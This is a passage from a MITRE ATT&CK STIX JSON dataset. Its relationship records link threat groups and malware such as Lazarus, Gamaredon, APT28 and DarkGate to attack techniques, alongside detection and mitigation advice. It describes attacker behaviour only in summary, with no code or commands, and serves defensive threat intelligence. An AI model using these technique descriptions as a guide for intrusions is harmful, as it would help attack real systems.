Darkhotel)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27b3c824-888f-4c03-8cf6-5235da956381","created":"2023-03-17T14:55:05.999Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:55:05.999Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) downloaded multistage malware and tools onto a compromised host.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27b82cee-dbc4-44c9-9f00-2168b8921a27","created":"2024-02-12T20:02:32.604Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:02:32.604Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can deploy follow-on ransomware payloads.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27b8fac5-1d3d-43a6-b184-4c81243e1bb8","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"New, benign system processes may be created during installation of new software.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--27bf147a-1e8b-481d-8910-3af3e64aa18c","created":"2022-02-17T15:40:15.864Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)","modified":"2022-04-15T12:06:00.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27c0f853-f7b0-43e9-b980-7965d1227a9e","type":"relationship","created":"2020-01-15T18:00:33.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T23:47:39.219Z","description":"Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27c397ca-aaa1-4cf5-b663-bde9b82050a6","type":"relationship","created":"2020-04-28T18:12:13.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}],"modified":"2020-04-28T18:12:13.490Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has used FTP to exfiltrate reconnaissance data out.(Citation: Medium KONNI Jan 2020)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27c6ffb3-836c-4a43-9862-b77c8e4a8256","created":"2023-01-05T20:27:17.309Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:27:17.309Z","description":"(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27c7f9ed-dd66-4bc0-a186-2f05aac6d6df","type":"relationship","created":"2021-09-28T18:53:02.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.303Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27ccf817-33de-4d85-85e5-851f82e835e4","type":"relationship","created":"2020-06-01T14:41:54.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.124Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to inject a downloaded DLL into a newly created rundll32.exe process.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27cdb886-b7be-4a6a-b740-f4c6a0a2e412","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to files that may use hidden windows to conceal malicious activity from the plain sight of users. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27d0ccf1-00df-40f5-ad96-807e54862467","created":"2023-05-22T20:23:30.274Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T20:23:30.274Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can use a custom parsing routine to decode the command codes and additional parameters from the C2 before executing them.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27d4f0a9-7f8f-4d3d-b130-fd096bede2e9","type":"relationship","created":"2019-06-07T19:05:01.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2013"},{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2020-03-17T01:36:33.102Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) uses HTTP for command and control.(Citation: Moran 2013)(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27d95bad-b939-43eb-a683-c3c3367cf728","created":"2024-04-03T21:09:16.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T21:09:56.669Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has hosted payloads on acquired second-stage servers for periods of either days, weeks, or months.(Citation: SentinelOne SocGholish Infrastructure November 2022)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27dcfdc7-f5d5-49b4-ad4e-afd43974c43c","type":"relationship","created":"2019-01-30T13:53:14.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:21.920Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27e3d3fc-fdd5-48f3-98aa-6b374ff98ed1","type":"relationship","created":"2022-02-16T22:33:40.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-16T22:36:04.301Z","description":"Upgrade management services to the latest supported and compatible version. Specifically, any version providing increased password complexity or policy enforcement preventing default or weak passwords. ","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--27e4d51a-77c3-462c-8eb7-0a690f61bb98","created":"2022-03-30T14:26:51.870Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","modified":"2022-04-20T03:17:46.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27e7969b-a0bf-4db6-90bf-1f17c5e0c853","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-03-20T18:14:31.607Z","description":"A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.312Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used the meek domain fronting plugin for [Tor](https://attack.mitre.org/software/S0183) to hide the destination of C2 traffic.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27e8b9dc-9b72-4e69-b093-c80c81cf6d59","created":"2024-05-22T22:47:41.717Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:47:41.717Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) uses a batch script to clear file system cache memory via the ProcessIdleTasks export in advapi32.dll as an anti-analysis and anti-forensics technique.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27e8d133-848b-4db0-ac79-b5a37da879f1","type":"relationship","created":"2019-01-30T15:47:41.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.373Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can delete files from the system.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27e91ac8-9463-4a7a-8f1f-89abeba1b02d","type":"relationship","created":"2019-10-10T21:54:00.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/","description":"Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.","source_name":"McAfee APT28 DDE1 Nov 2017"}],"modified":"2021-02-09T13:46:50.756Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: Palo Alto Sofacy 06-2018) (Citation: McAfee APT28 DDE1 Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:29:04.374Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27f3f0b2-4743-420d-a4dd-842de6cb9e70","type":"relationship","created":"2019-04-23T16:13:59.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:34.039Z","description":"(Citation: FireEye APT33 Guardrail)(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--27f4a7f3-7086-471d-8826-7bc544069c44","created":"2021-11-19T15:25:07.827Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to enumerate Registry keys, including KEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt\\strDataDir to search for a bitcoin wallet.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","modified":"2022-04-15T14:15:25.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27f561f4-2631-4d82-b384-4e7a208ba484","type":"relationship","created":"2021-10-17T15:10:00.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.657Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used Python-based tools for execution.(Citation: TrendMicro Tonto Team October 2020) 